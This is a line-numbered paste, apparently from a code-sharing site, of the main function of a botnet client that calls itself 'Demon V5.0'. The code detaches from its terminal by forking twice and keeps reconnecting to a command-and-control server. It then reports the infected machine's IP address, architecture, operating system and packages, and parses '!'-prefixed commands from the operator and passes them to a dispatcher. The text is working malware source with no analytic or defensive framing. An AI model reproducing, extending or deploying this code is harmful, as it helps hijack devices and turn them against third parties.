  927. int main(int argc, unsigned char *argv[])
  928. {
  929. if(SERVER_LIST_SIZE <= 0) return 0;
  930.  
  931. srand(time(NULL) ^ getpid());
  932. init_rand(time(NULL) ^ getpid());
  933. getOurIP();
  934. pid_t pid1;
  935. pid_t pid2;
  936. int status;
  937.  
  938. if (pid1 = fork()) {
  939. waitpid(pid1, &status, 0);
  940. exit(0);
  941. } else if (!pid1) {
  942. if (pid2 = fork()) {
  943. exit(0);
  944. } else if (!pid2) {
  945. } else {
  946. }
  947. } else {
  948. }
  949. setsid();
  950. chdir("/");
  951. signal(SIGPIPE, SIG_IGN);
  952.  
  953. while(1)
  954. {
  955. if(initConnection()) { sleep(5); continue; }
  956. sockprintf(Demonicsock, "\x1b[1;31mDemon\x1b[1;37m[\x1b[1;31mV5.0\x1b[1;37m]\x1b[1;31m-->\x1b[1;37m[\x1b[0;36m%s\x1b[1;37m]\x1b[1;31m-->\x1b[1;37m[\x1b[0;36m%s\x1b[1;37m]\x1b[1;31m-->\x1b[1;37m[\x1b[0;36m%s\x1b[1;37m]\x1b[1;31m-->\x1b[1;37m[\x1b[0;36m%s\x1b[1;37m]", inet_ntoa(ourIP), defarchs(), defopsys(), defpkgs());
  957. char commBuf[4096];
  958. int got = 0;
  959. int i = 0;
  960. while((got = recvLine(Demonicsock, commBuf, 4096)) != -1)
  961. {
  962. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  963. unsigned int *newpids, on;
  964. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  965. pids[on - 1] = 0;
  966. numpids--;
  967. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  968. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  969. free(pids);
  970. pids = newpids;
  971. }
  972.  
  973. commBuf[got] = 0x00;
  974.  
  975. trim(commBuf);
  976.  
  977. unsigned char *message = commBuf;
  978.  
  979. if(*message == '!')
  980. {
  981. unsigned char *nickMask = message + 1;
  982. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  983. if(*nickMask == 0x00) continue;
  984. *(nickMask) = 0x00;
  985. nickMask = message + 1;
  986.  
  987. message = message + strlen(nickMask) + 2;
  988. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  989.  
  990. unsigned char *command = message;
  991. while(*message != ' ' && *message != 0x00) message++;
  992. *message = 0x00;
  993. message++;
  994.  
  995. unsigned char *tmpcommand = command;
  996. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  997.  
  998. unsigned char *params[10];
  999. int paramsCount = 1;
  1000. unsigned char *pch = strtok(message, " ");
  1001. params[0] = command;
  1002.  
  1003. while(pch)
  1004. {
  1005. if(*pch != '\n')
  1006. {
  1007. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1008. memset(params[paramsCount], 0, strlen(pch) + 1);
  1009. strcpy(params[paramsCount], pch);
  1010. paramsCount++;
  1011. }
  1012. pch = strtok(NULL, " ");
  1013. }
  1014.  
  1015. cncinput(paramsCount, params);
  1016.  
  1017. if(paramsCount > 1)
  1018. {
  1019. int q = 1;
  1020. for(q = 1; q < paramsCount; q++)
  1021. {
  1022. free(params[q]);
  1023. }
  1024. }
  1025. }
  1026. }
  1027. }
  1028.  
  1029. return 0;
  1030. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement